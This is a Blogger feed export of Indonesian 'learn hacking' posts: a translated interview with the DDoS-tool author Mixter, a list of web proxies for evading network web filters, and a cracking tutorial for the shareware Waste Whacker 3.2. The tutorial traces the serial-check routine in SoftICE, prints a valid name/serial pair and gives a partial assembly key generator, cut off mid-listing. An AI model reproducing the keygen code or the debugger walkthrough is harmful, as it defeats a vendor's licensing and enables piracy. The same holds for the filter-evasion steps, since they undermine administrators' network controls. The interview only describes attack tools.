/&gt;&lt;br /&gt;J : Sesegera mungkin. Bukan hanya faktor sekuriti tetapi juga tak terelakkannya pertumbuhan pesat Internet sampai tahun 2004. IPv4 itu basi dan dengan Y2K bug. Jika orang mengabaikan perkara ini, cepat atau lambat IPv4 akan mencuatkan masalah baru.&lt;br /&gt;&lt;br /&gt;T : Menurut anda, apakah orang yang mendistribusikan tool - tool tadi (dan jatuh ke tangan orang yang tidak bertanggung jawab) juga ikut bertanggung jawab ?  Contohnya anda sendiri ?&lt;br /&gt;&lt;br /&gt;J : Itu tidak adil. Saya tahu kok pembuat Trinoo. Dia tidak ikut terlibat dalam penyerangan. Nampaknya dia ketakutan dan sengaja merahasiakan identitasnya.&lt;br /&gt;&lt;br /&gt;T : Anda berniat membuat tool - tool serupa ?&lt;br /&gt;&lt;br /&gt;J : Tidak. Saya rilis TFN2K atas saran CERT (Computer Emergency Response Team, sebuah organisasi keamanan data komputer dan internet berbasis di Pennsylvania). Tujuan rilis DDoS tool lainnya adalah untuk menyertakan feature attacking, stealthing dan sebagainya yang saya pikir, bisa dikembangkan di masa mendatang. Saya mengamati saat ini bermunculan tool derivat (turunan) dengan sejumlah variasi dan modifikasi, tapi tak satu pun yang tergolong handal apalagi memiliki daya dobrak hebat. Tujuan saya merilis TFN2K adalah saya ingin menunjukkan betapa banyaknya hole - hole yang ada di sekitar kita dan saya ingin agar segera diketahui.&lt;br /&gt;&lt;br /&gt;T : Komentar anda soal serangan - serangan belakangan ini ?&lt;br /&gt;&lt;br /&gt;Mixter : Ada rumor bahwa serangan akhir - akhir ini dikaitkan dengan protes terhadap e-commerce. Menurut saya, sebagian besar dimotivasi alasan sosial, dan saya tidak terlibat di dalamnya. Juga, lantaran penginstalan tool - tool yang ada tidak menuntut skill yang tinggi sekaligus penyerangan. Sekali lagi saya tandaskan bahwa mereka tidak punya tujuan merusak site orang lain.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-445835526324521023?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/445835526324521023/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-penjebol-8-situs_26.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/445835526324521023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/445835526324521023'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-penjebol-8-situs_26.html' title='BELAJAR HACKING : Penjebol 8 Situs Kondang itu Buka Mulut'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-4840140522911117210</id><published>2009-04-26T22:07:00.000-07:00</published><updated>2009-04-26T22:12:09.556-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HACKER'/><title type='text'>BELAJAR HACKING : Penjebol 8 Situs Kondang itu Buka Mulut</title><content type='html'>Mixter. Begitu hacker yang ditengarai asal Jerman ini menyebut dirinya. Namanya sempat menjadi buah bibir lantara ia sukses menelanjangi (baca: membobol) 8 situs kondang sekaligus:Yahoo!, eBay, Buy.com, Amazon.com, CNN, E*Trade, MSN.com juga ZDNet.&lt;br /&gt;&lt;br /&gt;   "Terlalu gampang", ujar Mixter yang mengaku dirinya sebagai white-hat hacker alias hacker yang tahu tata krama perhacking-an. "Kelemahan Internet adalah madu pemikat orang untuk hacking", imbuh hacker 20 tahun yang notabene pembuat tool denial-of-service (DoS) bernama Tribal Flood Network dan versi terbaru, TFN2K. Kedua tool tersebut sanggup melakukan DoS dengan membanjiri (flooding) server maupun router dengan beragam tipe data.&lt;br /&gt;&lt;br /&gt;   Bukan Mixter kalo serangannya tidak membuat Bill Clinton meminta para jawara IT di negerinya menggelar pertemuan tingkat tinggi dalam rangka memerangi cyber criminals. Bahkan, untuk mengantisipasi kemungkinan serangan berikutnya, FBI merilis tool anti-TFN dan TFN 2000.&lt;br /&gt;&lt;br /&gt;   Tapi di balik musibah itu, ternyata ada hikmahnya. Kabarnya setelah serangan beruntun itu, bisnis asuransi sistem dari serangan hacker, meledak. Bagi Mixter sendiri Tribal Flood Network adalah tool pemandu (teaching tool) yang mampu memberita tahu hole - hole di sebuah Web. Berikut ringkasan obrolan ZDNet bareng Mixter.&lt;br /&gt;&lt;br /&gt;ZDNet (T): Bagaimana anda belajar sekuriti ?&lt;br /&gt;&lt;br /&gt;Mixter (J): Saya menggeluti komputer sejak berumur 6 tahun, dan tertarik teknis sistem operasi dan jaringan mulai umur 14 tahun, waktu komputer saya terkoneksi ke Internet.&lt;br /&gt;&lt;br /&gt;T : Waktu itu pakai komputer apa ?&lt;br /&gt;&lt;br /&gt;J : Commodore 64.&lt;br /&gt;&lt;br /&gt;T : Anda mengganggap apa yang anda lakukan dikategorikan "hacking" ?&lt;br /&gt;&lt;br /&gt;J : Saya pikir hacking saya kategori hacking 'tradisional', saya takut menggunakan istilah ini lantaran makna 'hacker' sangat negatif. Dulu saya sempat dijerat hukum. Tapi sekarang saya hacker yang menjunjung tinggi etika hacking (white-hat).&lt;br /&gt;&lt;br /&gt;T : Memang anda berbuat apa ?&lt;br /&gt;&lt;br /&gt;J : Seperti hacker kebanyakan, saya mulai mengambil alih dan mengamankan kanal chatting Efnet. Di samping membubulkan atas perbuatan saya itu enggak seberapa besar. Saya anggap ini kesalahan masa lalu untuk dipetik hikmahnya.&lt;br /&gt;&lt;br /&gt;T : Mengapa anda membuat dan menyebarluaskan TFN padahal tool ini bisa disalahgunakan ?&lt;br /&gt;&lt;br /&gt;J : Saya membuat TFN karena Trinoo (tool yang juga bisa melakukan DoS attack atau dikenal sebagai SMURF) tidak disebarluaskan. Mulanya, TFN saya namai 'teletubby flood network', tapi kok namanya jelek. Kendala terbesar infrastruktur jaringan saat ini adalah terlalu banyak kelemahan dan hole. Itulah mengapa kita bisa dengan mudah spoofing dan menyebarluaskan program. Saya putuskan membuat TFN dan mendistribusikan source code-nya untuk mengamankan situs sekalian supaya orang berkesempatan menguji dan membuat patch-nya dan mengantisipasi serangan serupa di masa mendatang. Sebut saja konsep sekuriti ini sebagai 'full disclosur". Tujuan utama sekuriti adalah agar orang menemukan dan memberi tahu titik kelemahan paling berbahaya sesegera mungkin. Dengan demikian saban orang berkesempatan menganalisa dan menciptakan penangkalnya.&lt;br /&gt;&lt;br /&gt;T : Namun, tetap saja belum menyolusi. Soalnya, jika anda menginginkan agar orang lain mengakses situs anda, anda tentu mewaspadai DDoS (distribute denial-of-service) attack.&lt;br /&gt;&lt;br /&gt;J : Tepat. Biang masalahnya adalah lemahnya autentikasi protocol sekarang. Ada banyak metode (untuk menangkis DoS attack yang lebih canggih), termasuk SYN interception dan proxying router. Sayang SYN interception sekedar meminimalisir dampak flood; tidak mampu menghentikan total.&lt;br /&gt;&lt;br /&gt;T : Jadi, menurut anda, solusi paling jitu ?&lt;br /&gt;&lt;br /&gt;J : Caranya segeralah hijrah ke IPv6 (Internet Protocol versi enam, IP Protocol yang dipakai sekarang adalah IP versi empat) yang menawarkan fasilitas autentikasi dan sekuriti lebih hebat.&lt;br /&gt;&lt;br /&gt;T : Solusi jangka pendeknya ?&lt;br /&gt;&lt;br /&gt;J : Untuk host - host yang dibobol, update selalu software dan konfigurasinya. Ingat, kelemahan Internet adalah madu pemikat orang untuk hacking. Kecuali itu, masalah bandwidth dan backbone pada provider.&lt;br /&gt;&lt;br /&gt;T : Kapan sebaiknya IPv6 diimplementasikan ?&lt;br /&gt;&lt;br /&gt;J : Sesegera mungkin. Bukan hanya faktor sekuriti tetapi juga tak terelakkannya pertumbuhan pesat Internet sampai tahun 2004. IPv4 itu basi dan dengan Y2K bug. Jika orang mengabaikan perkara ini, cepat atau lambat IPv4 akan mencuatkan masalah baru.&lt;br /&gt;&lt;br /&gt;T : Menurut anda, apakah orang yang mendistribusikan tool - tool tadi (dan jatuh ke tangan orang yang tidak bertanggung jawab) juga ikut bertanggung jawab ?  Contohnya anda sendiri ?&lt;br /&gt;&lt;br /&gt;J : Itu tidak adil. Saya tahu kok pembuat Trinoo. Dia tidak ikut terlibat dalam penyerangan. Nampaknya dia ketakutan dan sengaja merahasiakan identitasnya.&lt;br /&gt;&lt;br /&gt;T : Anda berniat membuat tool - tool serupa ?&lt;br /&gt;&lt;br /&gt;J : Tidak. Saya rilis TFN2K atas saran CERT (Computer Emergency Response Team, sebuah organisasi keamanan data komputer dan internet berbasis di Pennsylvania). Tujuan rilis DDoS tool lainnya adalah untuk menyertakan feature attacking, stealthing dan sebagainya yang saya pikir, bisa dikembangkan di masa mendatang. Saya mengamati saat ini bermunculan tool derivat (turunan) dengan sejumlah variasi dan modifikasi, tapi tak satu pun yang tergolong handal apalagi memiliki daya dobrak hebat. Tujuan saya merilis TFN2K adalah saya ingin menunjukkan betapa banyaknya hole - hole yang ada di sekitar kita dan saya ingin agar segera diketahui.&lt;br /&gt;&lt;br /&gt;T : Komentar anda soal serangan - serangan belakangan ini ?&lt;br /&gt;&lt;br /&gt;Mixter : Ada rumor bahwa serangan akhir - akhir ini dikaitkan dengan protes terhadap e-commerce. Menurut saya, sebagian besar dimotivasi alasan sosial, dan saya tidak terlibat di dalamnya. Juga, lantaran penginstalan tool - tool yang ada tidak menuntut skill yang tinggi sekaligus penyerangan. Sekali lagi saya tandaskan bahwa mereka tidak punya tujuan merusak site orang lain.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-4840140522911117210?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/4840140522911117210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-penjebol-8-situs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4840140522911117210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4840140522911117210'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-penjebol-8-situs.html' title='BELAJAR HACKING : Penjebol 8 Situs Kondang itu Buka Mulut'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-2803449323651138359</id><published>2009-04-26T21:56:00.000-07:00</published><updated>2009-04-26T22:07:24.230-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WebFilter'/><title type='text'>BELAJAR HACKING : Cara Mendapatkan WebFilter</title><content type='html'>Gunakan sebuah Web Proxy. Hal ini akan bekerja sepanjang waktu. Tidak akan bekerja jika Administrator Jaringan mengetahui adanya web proxy ini dan akan memblokirnya.&lt;br /&gt;&lt;br /&gt;- &lt;http://www.proxyweb.net/&gt;&lt;br /&gt;- &lt;http://proxy.lessel.us/cgi-bin/nph-proxy.cgi&gt;&lt;br /&gt;- &lt;http://www.multiproxy.org/&gt;&lt;br /&gt;- &lt;http://www.publicproxyservers.com/index.html&gt; &lt;br /&gt;- &lt;http://www.hotscripts.com/Detailed/28480.html&gt; &lt;br /&gt;- &lt;http://www.inetprivacy.com/a4proxy/anonymous-grc.htm&gt; &lt;br /&gt;- &lt;http://www.sa6ry.com/surfanonymous/faq/hide-ip-address.html&gt; &lt;br /&gt;- &lt;http://www.steganos.com/&gt; (proxy)&lt;br /&gt;- &lt;http://www.guardster.com/&gt; (free proxy)&lt;br /&gt;- &lt;http://www.anonymizer.com/index.cgi&gt; (proxy)&lt;br /&gt;- &lt;http://www.orangatango.com/home/index.ie.html&gt; (proxy)&lt;br /&gt;- &lt;http://proxify.com/&gt; &lt;br /&gt;- &lt;http://www.tehbox.com/proxy&gt; &lt;br /&gt;- &lt;http://www.proxy4free.com/index.html&gt; &lt;br /&gt;- &lt;http://www.stayinvisible.com/index.pl&gt; &lt;br /&gt;- &lt;http://free-proxies.com/&gt; &lt;br /&gt;Pastikan bahwa saat berselancar di internet anda tidak akan 'anonymous' saat website yang coba anda kunjungi masih melintasi jaringan hingga ke browser anda; beberapa web filter berisi pencarian berbasis key word --- jika dalam kasus ini, bisa menyebabkan kelambatan atau bahkan diblock.&lt;br /&gt;Anda juga dapat mecnoba hal ini dengan sedikit trik seperi yang pernah disarankan dalam suatu forum:&lt;br /&gt;&lt;br /&gt;"Arahkan browser anda ke: &lt;http://babelfish.altavista.com/&gt; &lt;br /&gt;dan masukkan website yang anda inginkan pada website translation blank.&lt;br /&gt;SELECT ANY LANGUAGE lalu TRANSLATED TO ENGLISH maka akan membawa halaman tersebut dalam bahasa Inggris (kecuali mesin pencari Yahoo, tapi mesin pencari altavista akan bekerja!)"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-2803449323651138359?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/2803449323651138359/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-cara-mendapatkan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/2803449323651138359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/2803449323651138359'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-cara-mendapatkan.html' title='BELAJAR HACKING : Cara Mendapatkan WebFilter'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-1329880552696308045</id><published>2009-04-26T21:32:00.000-07:00</published><updated>2009-04-26T21:44:26.097-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WACKER'/><title type='text'>BELAJAR HACKING "Waste Whacker 3.2"</title><content type='html'>Mengikuti jejak flag eRRatum dengan tutorial - tutorial KeyGen-nya, di sini aku juga mencoba membuat tutorial pembuatan KeyGen. Sedikit perbedaan yang ada dengan tutorial - tutorial flag lainnya, aku menggunakan Assembly sebagai bahasa pemrograman untuk pembuatan KeyGen ini.&lt;br /&gt;Pengenalan Program &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Penjelasan singkat mengenai Waste Whacker :&lt;br /&gt;&lt;br /&gt;"Waste Whacker automates the process of removing unwanted files from your hard drives. These files can be backup files created by many applications, temp files not removed by Windows or other programs, files with a zero-byte size, old Internet cache files, plus many others. All files types are customizable by the user. Files can be sent to the Recycle Bin, completely removed from the system, or archived for later retrieval. Additionally, Waste Whacker can be run during Windows bootup."&lt;br /&gt;&lt;br /&gt;Program ini akan menampilkan tulisan "Trial Version...Purcahase it for $19.95" selama kita masih belum memasukan kode registrasi yang benar.&lt;br /&gt;Essay  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Seperti biasa kita mmemulai dengan mengamati Progrtam Target kita. Waste Whacker menyediakan menu khusus untuk memasukan Nama dan S/N bagi User yang telah membeli s/w tersebut ( Option &gt;&gt; Register ). Jika kita memasukan Nama dan S/N yang salah, akan tampil sebuah MessageBox bertuliskan "Registration Failed" dan tetapi kita masih tetap diperbolehkan menggunakan Waste Whacker ( baik bukan ? ;-) )&lt;br /&gt;&lt;br /&gt;Oke sekarang ulangi langkah di atas, masukan kembali Nama dan sembarang s/n, untuk tutorial ini, aku masukin :&lt;br /&gt;&lt;br /&gt;    User Name                     : CHuPaCaBRa&lt;br /&gt;    Registration Number     : 123454321&lt;br /&gt;&lt;br /&gt;Sebelum menekan tombol OK, kita siapkan "Peralatan Perang" kita, masuk ke SoftICE dengan menekan Ctrl-D dan pasang Breakpoint di Hmemcpy ( BPX Hmemcpy ). Kenapa Hmemcpy ??? Aku pasang Hmemcpy karena Breakpoint ini secara umum diguanakan untuk mengambil inputan kita.&lt;br /&gt;&lt;br /&gt;Tekan Ctrl-D kembali dan klik tombol OK. Kau akan "terlempar" masuk ke dalam SoftICE pada rutin Hmemcpy. Saat itu kau belum berada di badan program, karena itu tekan F12 beberapa kali sampai kau sudah masuk ke dalam program Waste Whacker.&lt;br /&gt;&lt;br /&gt;Break due to BPX KERNEL!HMEMCPY&lt;br /&gt;0177:00475545     MOV EDX,[EBP-0C]                     ==&gt; Kita di sini&lt;br /&gt;&lt;br /&gt;Ketik D EDX untuk melihat apa yang baru saja dibaca oleh Hmemcpy.&lt;br /&gt;&lt;br /&gt;:d edx&lt;br /&gt;017F:00C7DF60     31 32 33 34 35 34 33 32-31 00 C7 00 D8 DF C7 00     123454321.......&lt;br /&gt;&lt;br /&gt;Hmmm....ternyata program target kita ini membaca s/n yang kita masukan terlebih dulu. Pasang Breakpoint di memory yang bersangkutan supaya SoftICE akan berhenti jika program mencoba mengakses s/n kita. Ketik BPM 017F:00C7DF60. &lt;br /&gt;&lt;br /&gt;Sementara ini nama kita belum dibaca, tekan F5 satu kali, SoftICE kembali akan berhenti di dalam fungsi Hmemcpy. Tekan F12 beberapa kali sampai kamu kembali ke dalam badan program.&lt;br /&gt;&lt;br /&gt;Break due to BPX KERNEL!HMEMCPY&lt;br /&gt;0177:00475561     MOV EDX,[EBP-0C]                             ==&gt; Kita di sini&lt;br /&gt;&lt;br /&gt;Cek lagi apa yang tadi dibaca oleh Hmemcpy. Ketik D EDX kembali&lt;br /&gt;&lt;br /&gt;:d edx&lt;br /&gt;017F:00C7DF78     43 48 75 50 61 43 61 42-52 61 00 00 00 00 00 00     CHuPaCaBRa......&lt;br /&gt;&lt;br /&gt;Pasang Breakpoint di memory tersebut, BPM 017F:00C7DF78&lt;br /&gt;0177:00475564 LEA  EAX,[EBX+3C]&lt;br /&gt;0177:00475567   CALL 00403BB0&lt;br /&gt;0177:0047556C   LEA  ECX,[EBP-04]&lt;br /&gt;0177:0047556F   MOV  EDX,[EBX+3C]&lt;br /&gt;0177:00475572   MOV  EAX,[EBX+24]&lt;br /&gt;0177:00475575   CALL 00474E9C&lt;br /&gt;0177:0047557A   CMP  DWORD PTR [EBP-04],00    ==&gt; Cek apa User sudah &lt;br /&gt;        memasukan nama atau &lt;br /&gt;        belum &lt;br /&gt;&lt;br /&gt;Buat menyingkat waktu, tekan F5, SoftICE akan berhenti jika Program mencoba mengakses Nama ataupun S/N yang kita masukan. Kamu bakal menemukan listing seperti ini :&lt;br /&gt;0177:00474EF2  MOVZX ESI,BYTE PTR [EBP-09]   &lt;br /&gt;0177:00474EF6  MOV   EAX,[EBP-08]&lt;br /&gt;0177:00474EF9  MOV   AL,[ESI+EAX-01]         ==&gt; AL = Karakter dari nama &lt;br /&gt;            yang kita masukan&lt;br /&gt;0177:00474EFD  CALL  00402980                ==&gt; Rutin Call u/ merubah &lt;br /&gt;              Huruf Kecil menjadi &lt;br /&gt;              Huruf Besar&lt;br /&gt;    0177:00402980  CMP AL,61                 ==&gt; AL &lt; 61h ( = "a" ) ???&lt;br /&gt;    0177:00402983  JB  0040298D       ==&gt; Lompat, jika YA !&lt;br /&gt;    0177:00402985  CMP AL,7A                 ==&gt; AL &gt; 7Ah ( = "z" ) ???&lt;br /&gt;    0177:00402988  JA  0040298D       ==&gt; Lompat, jika YA !&lt;br /&gt;    0177:0040298A  SUB AL,20                 ==&gt; AL = AL - 20h&lt;br /&gt;    0177:0040298D  RET&lt;br /&gt;0177:00474F02  ADD  AL,D0&lt;br /&gt;0177:00474F04  SUB  AL,0A&lt;br /&gt;0177:00474F06  JB   00474F0E &lt;br /&gt;0177:00474F08  ADD  AL,F9&lt;br /&gt;0177:00474F0A  SUB  AL,1A&lt;br /&gt;0177:00474F0C  JAE  00474F2F &lt;br /&gt;0177:00474F0E  MOV  EAX,[EBP-08]&lt;br /&gt;0177:00474F11  MOV  AL,[ESI+EAX-01]&lt;br /&gt;0177:00474F15  CALL 00402980                ==&gt; Perhatikan Rutin Call &lt;br /&gt;             di atas      &lt;br /&gt;0177:00474F1A  MOV  EDX,EAX      &lt;br /&gt;0177:00474F1C  LEA  EAX,[EBP-1C]     &lt;br /&gt;0177:00474F1F  CALL 00403D00      &lt;br /&gt;0177:00474F24  MOV  EDX,[EBP-1C]     &lt;br /&gt;0177:00474F27  LEA  EAX,[EBP-10]     &lt;br /&gt;0177:00474F2A  CALL 00403DE0             &lt;br /&gt;0177:00474F2F  INC  BYTE PTR [EBP-09]       ==&gt; [EBP-09] = [EBP-09] + 1&lt;br /&gt;0177:00474F32  DEC  BL&lt;br /&gt;0177:00474F34  JNZ  00474EF2                ==&gt; Looping sampai semua &lt;br /&gt;             Karakter dari User Name &lt;br /&gt;             telah dirubah menjadi &lt;br /&gt;             Huruf Besar&lt;br /&gt;&lt;br /&gt;Mungkin kamu rada bingung ngeliat ada baris perintah yang ngak aku beri komentar....ini aku sengaja, karena baris - baris perintah itu tidak terlalu dibutuhkan pada saat pembuatan KeyGen nantinya :-)&lt;br /&gt;0177:00474F4B  CALL 00403DD8                    ==&gt; Rutin Call untuk meng-&lt;br /&gt;          hitung Panjang Nama&lt;br /&gt;0177:00474F50  MOV  [EBP-15],AL                 ==&gt; [EBP-15] = Panjang Nama&lt;br /&gt;0177:00474F53  MOV  BYTE PTR [EBP-09],0C        ==&gt; Panjang S/N = 0Ch &lt;br /&gt;          ( = 12 karakter )&lt;br /&gt;0177:00474F57  XOR  EAX,EAX                     ==&gt; Kosongkan register EAX&lt;br /&gt;0177:00474F59  MOV  AL,[EBP-15]                 ==&gt; AL = Panjang Nama&lt;br /&gt;0177:00474F5C  CALL 00402BA4                    ==&gt; Rutin Call untuk memi-&lt;br /&gt;          lih Karakter Nama yang &lt;br /&gt;          akan "diolah".&lt;br /&gt;    0177:00402BA4  IMUL EDX,[004BA040],08088405 ==&gt; EDX=2ED03ED0h*08088405h&lt;br /&gt;    0177:00402BAE  INC  EDX                     ==&gt; EDX = EDX + 1&lt;br /&gt;    0177:00402BAF  MOV  [004BA040],EDX          ==&gt; [004BA040] = EDX&lt;br /&gt;    0177:00402BB5  MUL  EDX                     ==&gt; EAX = EAX mul EDX&lt;br /&gt;    0177:00402BB7  MOV  EAX,EDX                 ==&gt; EAX = EDX&lt;br /&gt;    0177:00402BB9  RET                                           &lt;br /&gt;0177:00474F61  INC  EAX                         ==&gt; EAX = EAX + 01h&lt;br /&gt;0177:00474F62  AND  EAX,000000FF                ==&gt; EAX = EAX and 000000FFh&lt;br /&gt;0177:00474F67  MOV  EDX,[EBP-10]                ==&gt; EDX = User Name&lt;br /&gt;0177:00474F6A  MOV  BL,[EAX+EDX-01]             ==&gt; BL  = Karakter Name pada&lt;br /&gt;          posisi [EAX + EDX + 01]&lt;br /&gt;0177:00474F6E  TEST BL,BL&lt;br /&gt;0177:00474F70  JBE  00474F83&lt;br /&gt;0177:00474F72  MOV  EAX,0000000A                ==&gt; EAX = 0000000Ah&lt;br /&gt;0177:00474F77  CALL 00402BA4                    ==&gt; Rutin Call ini sekarang&lt;br /&gt;          digunakan untuk&lt;br /&gt;          menghitung S/N.&lt;br /&gt;0177:00474F7C  MOV  [EBP-0A],AL                 ==&gt; Hasil Rutin Call di atas &lt;br /&gt;          dimasukan ke [EBP-0A]&lt;br /&gt;0177:00474F7F  DEC  BL                          ==&gt; BL = BL - 1&lt;br /&gt;0177:00474F81  JNZ  00474F72                    ==&gt; Looping selama BL &lt;&gt; 0 &lt;br /&gt;0177:00474F86  XOR  EAX,EAX      ==&gt; Kosongkan Register EAX&lt;br /&gt;0177:00474F88  MOV  AL,[EBP-0A]            ==&gt; AL = [EBP-0A]&lt;br /&gt;0177:00474F8B  CALL 0040875C              ==&gt; Merubah nilai AL yang &lt;br /&gt;          berbentuk Hexa menjadi &lt;br /&gt;          angka Decimal&lt;br /&gt;0177:00474F90  MOV  EDX,[EBP-1C]&lt;br /&gt;0177:00474F93  LEA  EAX,[EBP-14]&lt;br /&gt;0177:00474F96  CALL 00403DE0             ==&gt; [EBP-14] = AL&lt;br /&gt;0177:00474F9B  DEC  BYTE PTR [EBP-09]       ==&gt; [EBP-09] = [EBP-09] - 1&lt;br /&gt;0177:00474F9E  JNZ  00474F57             ==&gt; Looping selama 12 kali.&lt;br /&gt;&lt;br /&gt;Langkah di atas ( 00474F57 - 00474F9E ) akan diulang sebanyak 12 kali hingga mendapatkan sebuah serial number. Setelah keluar dari looping di atas, coba liat apa isi [EBP-14]. Ketik D *(EBP-14)&lt;br /&gt;&lt;br /&gt;:d *(ebp-14)&lt;br /&gt;017F:00C7A3E4     37 37 31 38 31 37 33 32-38 31 32 35 00 A4 4B 00     771817328125..K.&lt;br /&gt;&lt;br /&gt;Itu dia serial number-nya :-) Disable semua Breakpoint ( BD * ) dan kembali ke Waste Whacker, register menurut nama dan serial number yang sudah tampak tadi dan hasilnya......SUKSES :-)&lt;br /&gt;K e y G e n Z  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.Ok....now is the hard part :-) Berikut adalah listing Assembly untuk pembuatan KeyGen :. &lt;br /&gt;; Waste Whacker 3.2 Key Generator.&lt;br /&gt;; CHuPaCaBRa - 140299&lt;br /&gt;; eRRatum Krak House - http://all.at/ekh&lt;br /&gt;;Gunakan Tasm dan Tlink untuk meng-compile file *.asm ini&lt;br /&gt;;========================================================================&lt;br /&gt;.MODEL SMALL&lt;br /&gt;.STACK 100h&lt;br /&gt;.386P     ;Menggunakan register 32-bit&lt;br /&gt;.DATA&lt;br /&gt;input   DB 22h,0                   &lt;br /&gt;Prompt  DB 'User Name : ','$'&lt;br /&gt;Err1    DB 'U must enter a name !','$'&lt;br /&gt;lf      DB 0ah,0dh,'$'&lt;br /&gt;Tamp    DD 2ED03ED0h&lt;br /&gt;Tamp2   DB ?&lt;br /&gt;logo    DB 0ah,0dh, '&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;',0ah,0dh&lt;br /&gt; DB          '&gt;&gt;                                        &lt;&lt;',0ah,0dh&lt;br /&gt; DB          '&gt;&gt;    Waste Whacker 3.2 Key Generator     &lt;&lt;',0ah,0dh&lt;br /&gt;        DB          '&gt;&gt;          Kraked by CHupaCaBRa          &lt;&lt;',0ah,0dh&lt;br /&gt; DB          '&gt;&gt;           eRRatum Krak House           &lt;&lt;',0ah,0dh&lt;br /&gt;        DB          '&gt;&gt;        -= http://all.at/ekh =-         &lt;&lt;',0ah,0dh&lt;br /&gt;        DB          '&gt;&gt;                                        &lt;&lt;',0ah,0dh&lt;br /&gt;        DB          '&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;',0ah,0dh&lt;br /&gt; DB 0ah,0dh,'$'&lt;br /&gt;        &lt;br /&gt;.CODE&lt;br /&gt;START:&lt;br /&gt; MOV AX,@DATA&lt;br /&gt; MOV DS,AX&lt;br /&gt; MOV ES,AX &lt;br /&gt; LEA EDX,[logo]&lt;br /&gt; MOV AH,09h&lt;br /&gt; INT 21h    ;Tampilkan Logo &lt;br /&gt; LEA EDX,[prompt]&lt;br /&gt; MOV AH,09h&lt;br /&gt; INT 21h    ;Tampilkan Prompt &lt;br /&gt; LEA EDX,[input]   &lt;br /&gt; MOV AH,0Ah&lt;br /&gt; INT 21h    ;Ambil Nama yang di-input &lt;br /&gt; LEA EDX,[lf]&lt;br /&gt; MOV AH,09h&lt;br /&gt; INT 21h                      ;Turun Satu Baris &lt;br /&gt; CMP BYTE PTR [input+1],00&lt;br /&gt; JE error    ;Lompat jika nama koosng &lt;br /&gt; LEA EDI, input+1&lt;br /&gt; XOR EAX, EAX&lt;br /&gt;        MOVZX   ECX,BYTE PTR [EDI]            ;Ambil panjang Nama.&lt;br /&gt;        PUSH    ECX    ;Simpan di dalam Stack&lt;br /&gt; &lt;br /&gt;Konvert:&lt;br /&gt;        MOV     BL, BYTE PTR [EDI+EAX+01] ;BL = Karakter Nama&lt;br /&gt;        TEST    BL, BL&lt;br /&gt;        JZ      KeyGen&lt;br /&gt;        CMP BL, 61h    